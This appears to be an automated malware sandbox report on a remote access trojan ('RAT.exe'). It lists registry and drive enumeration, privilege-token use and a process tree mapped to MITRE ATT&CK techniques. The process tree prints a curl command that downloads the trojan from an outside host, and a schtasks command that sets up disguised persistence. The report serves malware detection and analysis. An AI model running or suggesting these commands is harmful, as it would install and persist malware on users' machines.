fc4623b113a1f603c0d9ad5f83130bd6de1c62b973be9892305132389c8588de

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\A:	mstsc.exe
File opened (read-only)	\??\E:	mstsc.exe
File opened (read-only)	\??\J:	mstsc.exe
File opened (read-only)	\??\L:	mstsc.exe
File opened (read-only)	\??\O:	mstsc.exe
File opened (read-only)	\??\Q:	mstsc.exe
File opened (read-only)	\??\V:	mstsc.exe
File opened (read-only)	\??\X:	mstsc.exe
File opened (read-only)	\??\G:	mstsc.exe
File opened (read-only)	\??\N:	mstsc.exe
File opened (read-only)	\??\W:	mstsc.exe
File opened (read-only)	\??\Y:	mstsc.exe
File opened (read-only)	\??\Z:	mstsc.exe
File opened (read-only)	\??\P:	mstsc.exe
File opened (read-only)	\??\U:	mstsc.exe
File opened (read-only)	\??\B:	mstsc.exe
File opened (read-only)	\??\H:	mstsc.exe
File opened (read-only)	\??\I:	mstsc.exe
File opened (read-only)	\??\K:	mstsc.exe
File opened (read-only)	\??\M:	mstsc.exe
File opened (read-only)	\??\R:	mstsc.exe
File opened (read-only)	\??\S:	mstsc.exe
File opened (read-only)	\??\T:	mstsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000\Device Parameters	mstsc.exe
Key security queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Device Parameters	mstsc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\Device Parameters\TSRedirFlags	mstsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\Device Parameters	mstsc.exe
Key security queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	mstsc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\TSRedirFlags	mstsc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2208	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4280069375-290121026-380765049-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1832	mstsc.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1512	msedge.exe
1512	msedge.exe
4924	msedge.exe
4924	msedge.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe
2576	RAT.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2576	RAT.exe
Token: SeDebugPrivilege	2576	RAT.exe
Token: SeDebugPrivilege	4896	SteamWebhelper
Token: SeDebugPrivilege	1108	SteamWebhelper
Token: 33	4088	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4088	AUDIODG.EXE
Token: SeDebugPrivilege	592	RAT.exe
Token: SeDebugPrivilege	4964	RAT.exe
Token: SeDebugPrivilege	3600	SteamWebhelper

Suspicious use of FindShellTrayWindow 28 IoCs

pid	Process
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
1832	mstsc.exe
1832	mstsc.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe
4924	msedge.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2104	MiniSearchHost.exe
2576	RAT.exe
1832	mstsc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 5048	4924	msedge.exe	83
PID 4924 wrote to memory of 5048	4924	msedge.exe	83
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 4692	4924	msedge.exe	84
PID 4924 wrote to memory of 1512	4924	msedge.exe	85
PID 4924 wrote to memory of 1512	4924	msedge.exe	85
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86
PID 4924 wrote to memory of 580	4924	msedge.exe	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\WinPcap_4_1_3.exe
"C:\Users\Admin\AppData\Local\Temp\WinPcap_4_1_3.exe"
1⤵
- Loads dropped DLL
PID:5012

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2104

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd5aca3cb8,0x7ffd5aca3cc8,0x7ffd5aca3cd8
  2⤵
  PID:5048
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1916,14178761902344174401,17132806470310155267,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1928 /prefetch:2
  2⤵
  PID:4692
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1916,14178761902344174401,17132806470310155267,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1512
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1916,14178761902344174401,17132806470310155267,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2536 /prefetch:8
  2⤵
  PID:580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,14178761902344174401,17132806470310155267,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:1268
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,14178761902344174401,17132806470310155267,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
  2⤵
  PID:1208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,14178761902344174401,17132806470310155267,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4916 /prefetch:1
  2⤵
  PID:112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1916,14178761902344174401,17132806470310155267,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4956 /prefetch:1
  2⤵
  PID:1632

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1760

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:836

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:4312
- C:\Windows\system32\curl.exe
  curl http://risk.g-s.nu:2051/RAT.exe -o RAT.exe
  2⤵
  PID:1276
- C:\Windows\system32\mstsc.exe
  mstsc
  2⤵
  - Enumerates connected drives
  - Checks SCSI registry key(s)
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:1832

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5016

C:\Users\Admin\Downloads\e\RAT.exe
"C:\Users\Admin\Downloads\e\RAT.exe"
1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2576
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "SteamWebhelper" /tr "C:\Users\Admin\AppData\Roaming\SteamWebhelper"
  2⤵
  - Creates scheduled task(s)
  PID:2208

C:\Users\Admin\AppData\Roaming\SteamWebhelper
C:\Users\Admin\AppData\Roaming\SteamWebhelper
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4896

C:\Users\Admin\AppData\Roaming\SteamWebhelper
C:\Users\Admin\AppData\Roaming\SteamWebhelper
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1108

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004EC 0x00000000000004E8
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4088

C:\Users\Admin\Downloads\e\RAT.exe
"C:\Users\Admin\Downloads\e\RAT.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:592

C:\Users\Admin\Downloads\e\RAT.exe
"C:\Users\Admin\Downloads\e\RAT.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4964

C:\Users\Admin\AppData\Roaming\SteamWebhelper
C:\Users\Admin\AppData\Roaming\SteamWebhelper
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery